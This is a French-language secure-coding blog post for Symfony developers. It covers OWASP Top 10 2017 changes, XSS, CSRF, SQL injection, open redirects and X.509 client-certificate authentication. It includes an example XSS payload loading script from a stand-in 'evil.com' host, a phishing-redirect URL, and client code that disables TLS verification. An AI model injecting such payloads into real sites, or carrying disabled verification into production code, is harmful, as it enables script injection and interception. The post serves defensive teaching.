Alain Tiemblo
Alain Tiemblo est un développeur backend, et s’occupe principalement de la sécurité applicative chez BlaBlaCar depuis 2015. Vous pouvez voir ou revoir ses conférences sécurité Web sur la chaîne Youtube de l’AFUP, ici et là.
Ahh, la sécurité, enfin nous allons parler d’un truc que tout le monde déteste !
Alors voilà, nous sommes à 10 jours de Noël, tes projets sont bouclés, tu n’as plus envie de bosser avant les vacances, et tu es quand même là. Pourquoi ne pas faire une petite revue sur les tendances et les erreurs classiques de sécurité dans tes applications Web, histoire de passer le temps de manière constructive ?
C’est parti ! ✌️
Et oui, l’OWASP Top 10 a été mis à jour cette année, quoi de neuf ?
Top 10 OWASP 2013 | Top 10 OWASP 2017 |
---|---|
A1-Injection | A1-Injection |
A2-Broken Authentication and Session Management | A2-Broken Authentication and Session Management |
A3-Cross-Site Scripting (XSS) | A3-Cross-Site Scripting (XSS) |
A4-Insecure Direct Object References | A4-Broken Access Control |
A5-Security Misconfiguration | A5-Security Misconfiguration |
A6-Sensitive Data Exposure | A6-Sensitive Data Exposure |
A7-Missing Function Level Access Control | A7-Insufficient Attack Protection |
A8-Cross-Site Request Forgery (CSRF) | A8-Cross-Site Request Forgery (CSRF) |
A9-Using Components with Known Vulnerabilities | A9-Using Components with Known Vulnerabilities |
A10-Unvalidated Redirects and Forwards | A10-Underprotected APIs |
A4 et A7 de 2013 deviennent A4 de 2017
Tout d’abord, dans les risques de 2013, A4 (j’accède à /resource/{id}
sans que {id}
m’appartienne) et A7 (je valide mon formulaire
en JavaScript mais je le revalide pas côté serveur) ont été fusionnés dans
A4 de 2017.
A7 de 2017 est désormais « Insufficient Attack Protection »
L’OWASP pointe du doigt notre laxisme au niveau du traitement automatique des attaques. Afin d’être complètement efficace, il nous faut automatiquement détecter, surveiller, enregistrer et répondre.
Un exemple classique est une attaque sur le formulaire de connexion : on peut détecter une attaque par le nombre de soumissions par adresse IP et par minute, surveiller facilement sur un graphique les connexions réussies vs échouées, et bloquer une IP si elle dépasse une certaine limite. Cela éviterait les attarques par force brute, dictionnaire, réutilisation de mot de passe, et j’en passe. Sauf si le hacker est très motivé, auquel cas il viendra avec un grand nombre d’IPs et il faudra trouver d’autres solutions.
A10 de 2017 devient « Underprotected APIs »
Nos applications utilisent de plus en plus des APIs pour accéder au backend, cela permet aux interfaces Web et mobile de récupérer les informations en un même point qui centralise le code métier. L’OWASP attire notre attention sur le manque de protections sur celles-ci.
C’est assez simple à comprendre, nous avons moins l’occasion d’auditer nos APIs :
Pour déboguer plus facilement, vous pouvez mettre votre client derrière un proxy tel que Charles. Cet outil permet de consulter les requêtes qui transitent, de les modifier et de les rejouer en restant déconnecté. C'est très instructif !
A10 de 2013 disparait
Les failles « open redirects », c'est-à-dire le fait
de rediriger l’utilisateur vers une URL
arbitraire sans la valider, ne sont plus dans le top 10 des risques. Ce
n'est cependant pas une raison pour renvoyer une RedirectResponse
sur le referrer ♥️.
Maintenant, faisons un petit tour dans vos applications, à grands coups
de grep
, afin de vérifier si elles contiennent quelques
erreurs de base ou au moins des choses suspectes. Je vous préviens, il
s’agit souvent de cas issus d’un besoin bien tordu… Par conséquent, la
solution proposée peut-être aussi alambiquée. Soyons pragmatique, et
faisons quelque chose de sécurisé.
Le principe de l’attaque consiste à injecter du code dans les pages afin de le rendre exécutable par le navigateur. Par exemple, si l'on parvient à placer un tag comme celui ci-dessous dans la page :
<script src="evil.com/boom.js"/>
De là, tout devient possible :
httponly
a été oublié,Utilisation du filtre |raw
dans une vue Twig.
{{ myVariable | raw }}
|raw
par |purify
qui échappera les tags les plus dangereux. Vous avez seulement besoin
du bundle HTMLPurifierBundle.
Notez aussi que vous pouvez utiliser $container->get('exercise_html_purifier.default')->purify($var)
depuis un test fonctionnel ou bien depuis un contrôleur.
Restez tout de même prudent car le filtre |purify
n’échappe
pas les balises <br>
par défaut. Ainsi, dans certains
cas, votre application pourrait être sujette au hameçonnage si la valeur
filtrée par |purify
provient des variables de la chaîne de
requête (?var=value
).
Affichage d'une variable Twig dans des tags <script>
.
<script>{{ myVariable | raw }}</script>
{{ myVariable }}
vous protège car Twig
échappe automatiquement le contenu de la variable.
.html.twig
utilisera la stratégie html
. Par conséquent, l'instruction
Twig {{ myVariable }}
est identique aux instructions
{{ myVariable | e }}
et {{ myVariable | e('html') }}
.
.html.twig
, si vous devez afficher le
contenu d'une variable Twig à l'intérieur d'un tag <script type="text/javascript">
,
utilisez l'instruction {{ myVariable | e('js') }}
. De la
même manière, pour rendre une variable dans une balise <style>
,
choisissez l'instruction {{ myVariable | e('css') }}
.
Autoriser un filtre personnalisé à générer du code HTML sûr.
['is_safe' => ['html']
{{ userEntity|showUser }}
affiche une jolie
boîte contenant toutes les informations de l'utilisateur. Comme le
filtre génère un bloc de code HTML,
j’ai besoin d’utiliser l'option ['is_safe' => ['html']
dans l'extension Twig qui définit le filtre.
{{ userEntity|showUser|raw }}
.
Sans l’option is_safe
dans l’extension Twig, le code
HTML généré serait automatiquement échappé par Twig. Si le filtre
affiche userEntity.firstname
, il faut penser à
l’échapper manuellement.
render()
ou include()
de
Twig pour générer des blocs dynamiques HTML
{{ render(controller('CommonBundle:User:userBox', {user:userEntity})) }}
{{ include('CommonBundle:User:userBox.html.twig', {user:userEntity}) }}
Le principe de l’attaque consiste à permettre à un hacker d'exploiter la session active du navigateur (les cookies d'authentification) d'un utilisateur afin de lui faire exécuter des actions / requêtes à son insu. Le détournement de la session active du navigateur est très souvent réalisée au moyen d'une injection XSS.
Par exemple, si un hacker détecte la présence d'un formulaire ou d'un lien qui modifie une resource, et que celui-ci ne possède pas de jeton de protection CSRF, alors il pourra forger une requête pour soumettre ce formulaire ou cliquer ce lien. Si les URLs réalisent des actions critiques (création, voire modification ou suppression de ressources), alors cela devient un risque majeur pour l'application et ses données.
Modifier ou effacer une ressource par un simple lien.
Cette erreur est un grand classique des interfaces d'administration qui listent des ressources dans un tableau, et dont chaque ligne possède un lien « Effacer.
<a href="{{ path('photo_remove') }}">Effacer la
photo</a>
afin d'effacer leur photo de profil.
Si vous souhaitez vraiment utiliser un lien plutôt qu'un formulaire, pas de problème, mais dans ce cas pensez toujours à lui ajouter un jeton unique de protection CSRF :
<a href="{{ path('photo_remove', {csrf: csrf_token('photo')}) }}">Effacer ma photo</a>
Vous devrez ensuite contrôler la valeur de ce jeton depuis votre contrôleur.
if (!$this->isCsrfTokenValid('photo', $csrf)) {
throw $this->createAccessDeniedException('Désolé, votre session a expiré. Veuillez recommancer.');
}
Il est aussi très facile de générer ce jeton depuis un test d’intégration :
$csrf = $this->getContainer()->get('security.csrf.token_manager')->getToken('photo')->getValue();
Désactivation la protection CSRF des formulaires.
'csrf_protection' => false,
dans les options de formulaire.
Le Bug Bounty Program de BlaBlaCar m’a fait découvrir des options de Symfony improbables…
Désactivation du rendu automatique du reste d'un formulaire
Utilisation de 'render_rest': false
dans une vue Twig
form_rest()
et form_end()
qui permet d’ignorer les champs qui n’ont
pas été affichés explicitement. Dans ces cas là, le jeton de protection
CSRF du
formulaire est généralement oublié.
csrf_field_name
du formulaire. Nous aurons ainsi peut-être
cinq jetons CSRF
dans la page, mais c’est mieux qu’aucun.
Cas de la protection CSRF lors d’une connexion via un fournisseur OAuth (Facebook Connect, etc.)
Petit rappel sur le fonctionnement de ce type d'authentification avec l'exemple de Twitter.
state
(j’y reviendrai).
code
et state
(exactement le même que
celui envoyé dans la requête initiale).
La spécification d’OAuth nous permet de mettre un jeton
CSRF dans le
paramètre state
de la chaîne de requête lors de l'étape 1
afin qu'il soit retourné à l'étape 3. Que se passe-t-il si nous ne
l’utilisons pas ?
Alors pensez-y, vous devez toujours ajouter un jeton de protection
CSRF dans le
paramètre state
de la chaîne de requête, et le vérifier
lors du retour sur l’URL
de redirection.
Si vous utilisez le bundle HWIOAuthBundle, vérifiez
bien que l’option csrf: true
est activée sur tous les
fournisseurs que vous supportez.
C’est un grand classique mais une bonne recherche dans votre code peut vous révéler parfois bien des surprises…
grep -Ri 'delete ' src/|grep '%s'
grep -Ri 'insert ' src/|grep '%s'
grep -Ri 'update ' src/|grep '%s'
grep -Ri 'select ' src/|grep '%s'
sprintf()
et addslahes()
.
Puis je l’envoie à un worker qui l’exécute.
[
"UPDATE user SET name = :name WHERE id = :id",
{
"name": "Bob",
"id": 42
}
]
Rediriger après une connexion
https://connect.monsite.com/login?redirect=https://landing.monsite.com/
.
https://connect.monsite.com/login?redirect=https://some.scam.com
.
Cela a pour conséquence de permettre au pirate d’hameçonner vos
utilisateurs relativement facilement avec par exemple une fausse
page de connexion qui affiche un message « mot de passe incorrect.
Ce faux message incitera l'utilisateur à resaisir ses identifiants
sur la fausse page de connexion afin de les enregistrer en base de
données pour les exploiter plus tard.
Liste blanche de préfixes URL peu restrictive.
/
afin
qu’il ne soit pas possible de rajouter des niveaux de sous-domaines.
Rediriger l’utilisateur vers le Referer.
new RedirectResponse($request->headers->get('Referer'));
.
Exemple que vous pouvez ajouter à votre classe de base de contrôleur :
protected function getSafeRefererOr(Request $request, $fallback) {
if ($request->headers->has('referer')) {
$referer = $request->headers->get('referer');
// URL begins with '/' but not '//'
if (strlen($referer) < 2 || ($referer[0] == '/' && $referer[1] != '/')) {
return $referer;
}
// URL starts by the same host
$baseUrl = $request->getScheme() . '://' . $request->getHost() . (($request->getPort() != 80 && $request->getPort() != 443) ? ':' . $request->getPort() : '') . '/';
if (strncmp($referer, $baseUrl, strlen($baseUrl)) === 0) {
return $referer;
}
}
// referer is not safe, we prefer returning fallback url
return $fallback;
}
Pour terminer, je vous propose un guide complet histoire de traiter d’un sujet un peu costaud pour des développeurs non-ops.
L'authentification par certificat X.509 est particulièrement adaptée lorsqu'il s'agit de sécuriser le trafic entre deux applications. C'est par exemple le cas dans une architecture micro-service. L'avantage de ce type d'authentification c'est qu'elle ne partage pas un simple secret entre les deux applications.
Le principe ? En un mot, le serveur possède un certificat d’authorité et signe un certificat client dont l’adresse e-mail permettra d’identifier l’utilisateur. Saviez-vous que Symfony supporte nativement cette forme d’identification ?
Pour commencer, votre application serveur doit s'exécuter sur SSL, que ce soit pour un certificat signé du type Let’s encrypt!, Comodo, etc. ou non signé.
Dans cette démonstration, je pars du principe que mon API n’est pas exposée. Par conséquent, je commence par créer un certificat auto-signé qui sera utilisé par Apache.
$ mkdir -p /etc/ssl/certs/my-api
$ cd /etc/ssl/certs/my-api
$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt
(...)
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:Paris
Organization Name (eg, company) [Internet Widgits Pty Ltd]:My Api
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:server@my.api
$ openssl dhparam -out dhparam.pem 2048
Ensuite, je crée le certificat d’authorité :
$ openssl genrsa -out ca.key 4096
$ openssl req -new -x509 -days 365 -key ca.key -out ca.crt
(...)
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:Paris
Organization Name (eg, company) [Internet Widgits Pty Ltd]:My Api
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:ca@my.api
Enfin je crée le cetificat client et je le fais signer par l’authorité. Attention à bien choisir l’adresse e-mail ici car elle sera réutilisée plus tard.
$ openssl genrsa -out client.key 4096
$ openssl req -new -key client.key -out client.csr
(...)
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:Paris
Organization Name (eg, company) [Internet Widgits Pty Ltd]:My Api
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:client@my.api
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
$ openssl x509 -req -days 365 -in client.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out client.crt
$ cat client.crt client.key > client.pem
Nous pouvons désormais configurer Apache2. Dans le fichier
/etc/apache2/sites-available
, nous ajons le fichier
000-localhost-ssl.conf
:
<Directory /var/www/my-api/web>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
<IfModule mod_ssl.c>
<VirtualHost 127.0.0.1:443>
ServerName 127.0.0.1
ServerAdmin your@email.com
DocumentRoot /var/www/my-api/web
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
SSLCertificateFile /etc/ssl/certs/my-api/server.crt
SSLCertificateKeyFile /etc/ssl/certs/my-api/server.key
SSLOpenSSLConfCmd DHParameters "/etc/ssl/certs/my-api/dhparam.pem"
SSLCACertificateFile /etc/ssl/certs/my-api/ca.crt
SSLVerifyClient optional
SSLVerifyDepth 1
SSLOptions +StdEnvVars
</VirtualHost>
</IfModule>
Vous pouvez désormais mettre ca.key
de côté afin d’éviter
que d’autres clients soient signés sans votre autorisation. Vous pouvez
aussi mettre client.csr
et client.key
de côté
pour renouveler le certificat sans tout regénérer, et mettre
client.pem
avec votre application client ce qui laisse
ca.crt
, dhparam.pem
, server.crt
et server.key
dans le dosier
/etc/ssl/certs/my-api
.
Nous activons enfin le site et redémarrons Apache:
$ cd /etc/apache2/sites-enabled
$ ln -s ../sites-available/000-localhost-ssl.conf ./
$ service apache2 restart
Dans cette démonstration, je pars du principe que je n’ai qu’un seul client autorisé à utiliser l’API, mais rien ne vous empêche bien entendu de créer un fournisseur d'utilisateur classique.
Voici le contenu du fichier app/config/security.yml
:
security:
providers:
client_certificate:
memory:
users:
client@my.api:
roles: ROLE_ADMIN
firewalls:
main:
pattern: ^/
stateless: true
x509:
provider: client_certificate
access_control:
- { path: ^/, roles: ROLE_ADMIN, requires_channel: https, ip: 127.0.0.1 }
C’est tout ! Dans la configuration du pare-feu, la clé x509
indique à Symfony que l’utilisateur est pré-authentifié par Apache, à la
fin du handshake SSL.
Symfony lit donc la variable $_SERVER['SSL_CLIENT_S_DN_Email']
et appelle directement votre fournisseur d'utilisateurs avec.
Dans votre API, ajoutez le fichier AppBundle\Controller\TestController.php
avec le code suivant :
<?php
namespace AppBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
class TestController extends Controller
{
/**
* @Route("/test", name="test")
* @Method({"GET"})
*/
public function testAction(Request $request)
{
return new JsonResponse([
'status' => 'OK',
'data' => sprintf('Hello, %s!', $request->request->get('name', 'world')),
]);
}
}
Dans votre application cliente, mettez le code suivant :
<?php
require(__DIR__.'/vendor/autoload.php');
use GuzzleHttp\Client;
$client = new Client([
'base_uri' => 'https://127.0.0.1',
'cert' => __DIR__.'/cert/client.pem',
// if your server certificate is self-signed...
'verify' => false,
]);
var_dump(
json_decode($client->get('/test')->getBody()->getContents(), true)
);
Symfony propose d’autres « pre authenticated security firewalls », notament pour Kerberos, référez-vous à la documentation. Pour en implémenter de nouveaux pour Okta, Uberproxy, etc., vous pouvez au choix créer votre propre fournisseur d'authentification (ce que fait X509 par exemple), ou bien utiliser Guard (ce qui me semble le plus rapide).
Pour finir, et pour vous remercier d’avoir survécus jusqu’à la fin de ce billet, voici quelques liens que je trouve utiles et que je souhaite vous partager :